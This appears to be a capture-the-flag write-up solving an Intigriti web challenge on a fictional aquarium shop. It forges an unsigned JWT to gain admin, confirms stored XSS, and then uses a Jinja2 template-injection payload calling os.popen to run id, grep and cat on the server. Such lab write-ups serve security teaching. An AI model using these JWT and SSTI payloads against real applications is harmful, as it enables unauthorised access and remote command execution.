Introduction Link to heading

Hi folks! This write-up documents my solution to Intigriti’s November 2025 Challenge created by Intigriti. The goal was to find a hidden flag (in the format INTIGRITI{.*}) by exploiting a Remote Code Execution (RCE) vulnerability in a fictional e-commerce platform called “AquaCommerce!”.

This marks my first attempt at an Intigriti challenge, and I have to say that it was a really fun (and “easy”) one! Let’s dive into the solution!

Warning
Spoiler Alert! This write-up contains the complete solution with detailed exploitation steps. If you want to attempt the challenge yourself first, stop reading now and head over to the challenge page!

Initial reconnaissance Link to heading

This challenge presents an e-commerce platform for aquarium products called “AquaCommerce!”. The application features a typical e-commerce workflow with product browsing, shopping cart functionality, and user authentication.

AquaCommerce! Homepage

AquaCommerce! Homepage (/browse)

The application is server-side rendered (no client-side JavaScript). This immediately caught my attention: server-side rendering often means server-side vulnerabilities.

I started by mapping out the application’s public routes:

  • /browse - Homepage with featured products and category showcase (Fish, Tanks, Accessories, Food)
  • /shop{?category} - Product listing with category filtering via query parameters
  • /product/{id} - Individual product details with price, availability, and add-to-cart functionality
  • /cart - Shopping cart

My initial testing followed the usual playbook: SQL injection attempts in product IDs, path traversal in category filters, and XSS payloads in search parameters. Nothing.

Time to shift focus to the authentication system, always a promising attack vector.

The authentication system revealed itself through several routes:

  • Registration flow
    • /register (GET) - Sign up form
    • /register (POST) - Registration endpoint
      • Request body: username=testtest&password=password (standard application/x-www-form-urlencoded)
      • Sets an authentication cookie via HTTP Set-Cookie response header
      • Redirects to /dashboard on success
  • Login flow
    • /login (GET) - Sign in form
    • /login (POST) - Login endpoint
      • Request body: username=testtest&password=password (standard application/x-www-form-urlencoded)
      • Sets an authentication cookie via HTTP Set-Cookie response header
      • Redirects to /dashboard on success
  • Session management
    • /logout - Logout endpoint
      • Redirects to /browse

I created a test account (testtest as username and password as password). Both login and registration endpoints responded by setting an authentication cookie with these properties:

  • Name: token
  • Value: a JSON Web Token (JWT)
  • Expires: 24 hours after authentication (Max-Age=86400)
  • HttpOnly: flag set1
  • Path: / (available site-wide)

The token I received was this:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxNSwidXNlcm5hbWUiOiJ0ZXN0dGVzdCIsInJvbGUiOiJ1c2VyIiwiZXhwIjoxNzY0MDAxNDM5fQ.enF8V2TqUD540TfACmlfHR0fll0ZJZ4W-WDo6lmjRJg

The token format is typical of a JSON Web Token (JWT). This will be discussed later.

After successful authentication, I gained access to a new route: /dashboard. The user dashboard displayed my profile information, including my username and, crucially, a “Role: user” designation. That single word jumped out at me. Where there’s a “user” role, there’s usually an “admin” role. And where there’s an admin role, there’s usually interesting functionalities.

User Dashboard with user role

User Dashboard (/dashboard) with user role

Understanding JWT authentication Link to heading

A JSON Web Token (JWT) consists of three parts (encoded in Base64URL2) separated by dots:

[Header].[Payload].[Signature]

Each part serves a specific purpose:

  1. Header - Identifies which algorithm is used to generate the cryptographic signature
  2. Payload - Contains a set of claims (user data)
  3. Signature - Cryptographic signature of the token

I threw my token into JWT.io to see what data it held:

  • Header (decoded)
    {
      "alg": "HS256",
      "typ": "JWT"
    }
    The HS256 algorithm means HMAC-SHA2563.
  • Payload (decoded)
    {
      "user_id": 15,
      "username": "testtest",
      "role": "user",
      "exp": 1764001439
    }
    The payload contained:
    • My user ID (15)
    • My username (testtest)
    • My role (user)
    • An expiration timestamp (exp)
  • Signature
    The signature portion couldn’t be verified without knowing the secret key used to sign the token. This is by design. JWT security relies on keeping this secret, well, secret.
Decoding the token using JWT Decoder

Decoding the token using JWT Decoder

Key observations that shaped my attack strategy:

  • The payload is not encrypted: it’s only Base64URL-encoded and signed (JSON Web Signature/JWS) meaning that anyone can decode and read it
  • The role field controls authorization: this could be the gatekeeper to admin functionalities
  • No encryption means no confidentiality: the server relies entirely on the signature for integrity

The structure suggested a potential attack: bypass the signature verification.

Vulnerability #1: JWT verification bypass Link to heading

I decided to try a classic JWT vulnerability: “none” algorithm allowed.

This vulnerability has an interesting history. JWT libraries were designed to support multiple signing algorithms, including an algorithm called “none”, which literally means “no signature required”. The idea was to allow unsigned tokens for development or specific use cases. However, many applications didn’t properly validate which algorithms they would accept, leading to a critical vulnerability.

The attack is simple:

  1. Change the algorithm in the header from HS256 to none
  2. Modify the payload to escalate privileges ("role": "user" -> "role": "admin")
  3. Remove the signature part entirely
  4. Send the token to the server

If the server doesn’t properly validate the algorithm, it will accept the token as valid. No signature verification needed.

Using JWT.io, I crafted my privilege escalation token:

  • Modified Header
    {
      "alg": "none",
      "typ": "JWT"
    }
  • Modified Payload
    {
      "user_id": 15,
      "username": "testtest",
      "role": "admin",
      "exp": 1764001439
    }

The resulting token was this:

eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyX2lkIjoxNSwidXNlcm5hbWUiOiJ0ZXN0dGVzdCIsInJvbGUiOiJhZG1pbiIsImV4cCI6MTc2NDAwMTQzOX0.

Note that the token ends with a dot and no signature part: this is the key indicator of a “none” algorithm token.

Crafting the new token using JWT Encoder

Crafting the new token using JWT Encoder

I opened my browser developer tools and replaced the token cookie value with my crafted token. Then I refreshed the /dashboard page.

User Dashboard with admin role

User Dashboard (/dashboard) with admin role

Success! The dashboard now displayed “Role: admin” and a shiny new “Admin Panel” button appeared, granting access to previously hidden administrative routes:

  • /admin - Admin dashboard overview
  • /admin/users - User management interface
  • /admin/orders - Order management system
  • /admin/products - Product inventory management
  • /admin/profile (GET) - Show “Current Display Name” and allow to edit it
  • /admin/profile (POST) - Update “Current Display Name”
    • Request body: display_name=testtest (standard application/x-www-form-urlencoded)
Admin Dashboard

Admin Dashboard (/admin)

The /admin/profile route immediately caught my eye. Any time user input is directly reflected on the page, alarm bells should ring. This was my next target.

Probing for injection vulnerabilities Link to heading

The /admin/profile page presented a simple form used to update your display name. Simple forms with text inputs are often the gateway to more serious vulnerabilities. I started with the most straightforward test: Cross-Site Scripting (XSS).

I submitted a basic XSS payload: <script>alert(1);</script>

POST /admin/profile HTTP/1.1
Host: challenge-1125.intigriti.io
Content-Type: application/x-www-form-urlencoded
Cookie: token=eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0...

display_name=%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E

When I reloaded the /admin/profile page, a JavaScript alert popped up on my screen. Stored XSS confirmed!

XSS is powerful for client-side attacks (stealing cookies, phishing, keylogging), but the challenge explicitly asked for Remote Code Execution (RCE). I needed server-side code execution, not client-side JavaScript execution. XSS wouldn’t give me access to the server’s filesystem or the ability to run commands.

However, the fact that my input was being rendered without sanitization suggested something more interesting: Server-Side Template Injection (SSTI)

Understanding the backend technology stack Link to heading

Before diving into SSTI exploitation, I needed to identify what technology powered the backend. The best way to fingerprint a web application? Make it throw an error.

I requested a non-existent endpoint to trigger a 404 error:

$ curl -v "https://challenge-1125.intigriti.io/deadbeef"

The response was revealing:

HTTP/2 404
date: Sun, 23 Nov 2025 18:54:30 GMT
content-type: text/html; charset=utf-8
content-length: 207

<!doctype html>
<html lang=en>
<title>404 Not Found</title>
<h1>Not Found</h1>
<p>The requested URL was not found on the server. If you entered the URL 
manually please check your spelling and try again.</p>

This error page structure is distinctive. It’s the default 404 template that Flask, a popular Python web framework, serves up. Under the hood, this error page is generated by Werkzeug, Flask’s underlying WSGI utility library. You can see how this works in the source code (src/werkzeug/exceptions.py):

  • The NotFound class contains the error message:
    class NotFound(HTTPException):
        """*404* `Not Found`"""
        code = 404
        description = (
            "The requested URL was not found on the server. If you entered the URL "
            "manually please check your spelling and try again."
        )
  • The HTTPException.get_body() method generates the HTML:
    def get_body(self, environ=None, scope=None) -> str:
      """Get the HTML body."""
      return (
        "<!doctype html>\n"
        "<html lang=en>\n"
        f"<title>{self.code} {escape(self.name)}</title>\n"
        f"<h1>{escape(self.name)}</h1>\n"
        f"<p>{escape(self.get_description())}</p>\n"
      )

Flask applications typically use Jinja2 as their template engine. This was excellent news for my exploitation strategy. Jinja2 has well-documented SSTI payloads.

Vulnerability #2: SSTI Link to heading

Server-Side Template Injection (SSTI) occurs when user input is embedded into a template and then rendered by the template engine. If the application doesn’t properly sanitize or escape this input, an attacker can inject template directives that get executed on the server.

To confirm SSTI, I needed to test if Jinja2 was actually evaluating my input as template code rather than treating it as plain text. The simplest test? A mathematical expression: {{ 1+2 }}

POST /admin/profile HTTP/1.1
Host: challenge-1125.intigriti.io
Content-Type: application/x-www-form-urlencoded
Cookie: token=eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0...

display_name=%7B%7B+1%2B2+%7D%7D

Expected behaviors:

  • Not vulnerable: “Current Display Name” shows literal string “{{ 1+2 }}”
  • Vulnerable: “Current Display Name” shows “3” (the result of 1 plus 2)

I submitted the payload and navigated back to /admin/profile page and now the “Current Display Name” field showed “3”. SSTI confirmed!

SSTI with a mathematical expression on Admin Profile

SSTI with a mathematical expression on Admin Profile (/admin/profile)

This meant I could inject arbitrary Jinja2 template expressions, and they would be executed server-side with the privileges of the application user.

Achieving RCE Link to heading

Jinja2 templates, like many Python template engines, have access to Python’s object model through the template context. This is normally restricted, but through careful navigation of Python’s introspection capabilities, it is possible to reach powerful functions, including os.popen() for executing system commands.

The path to RCE in Jinja2 involves traversing Python’s object hierarchy. Here’s the conceptual chain:

  1. Access the current template object: self
  2. Navigate to initialization: __init__
  3. Access global variables: __globals__
  4. Access built-in functions: __builtins__
  5. Import os module: __import__('os')
  6. Execute commands with popen function: popen('<COMMAND>')
  7. Return the command’s output: read()

The generic payload structure is:

{{ self.__init__.__globals__.__builtins__.__import__('os').popen('<COMMAND>').read() }}

My first command was to identify what user the application was running as:

{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}

The output was:

uid=999(appuser) gid=999(appuser) groups=999(appuser)

The application runs as appuser, not root, but with sufficient privileges to read application files. This is typical for containerized applications.

The challenge description specified the flag format: INTIGRITI{.*}. I recursively searched the entire application directory for files containing that string format:

{{ self.__init__.__globals__.__builtins__.__import__('os').popen('grep -r -E "INTIGRITI\{.*\}" /app').read() }}

The output revealed:

templates/public/index.html:                                                            <li>The flag in the format <code>INTIGRITI{.*}</code></li>
.aquacommerce/019a82cf.txt:INTIGRITI{019a82cf-ca32-716f-8291-2d0ef30bea32}

The first result was just the challenge description on the homepage. The second result was the actual flag, hidden in /app/.aquacommerce/019a82cf.txt.

To confirm and cleanly retrieve the flag, I executed:

{{ self.__init__.__globals__.__builtins__.__import__('os').popen('cat /app/.aquacommerce/019a82cf.txt').read() }}

The output revealed:

INTIGRITI{019a82cf-XXXX-XXXX-XXXX-XXXXXXXXXXXX}
SSTI with a RCE to retrieve the flag on Admin Profile

SSTI with a RCE to retrieve the flag on Admin Profile (/admin/profile)

Challenge completed!


  1. The HttpOnly flag prevents client-side JavaScript from accessing the cookie, mitigating XSS-based cookie theft. ↩︎

  2. Base64URL encoding is equal to Base64 encoding but replaces + with - and / with _ to make the encoded string HTTP-safe and avoid the need for escaping. ↩︎

  3. HMAC-SHA256 is a symmetric algorithm using a shared secret key to generate and verify signatures. ↩︎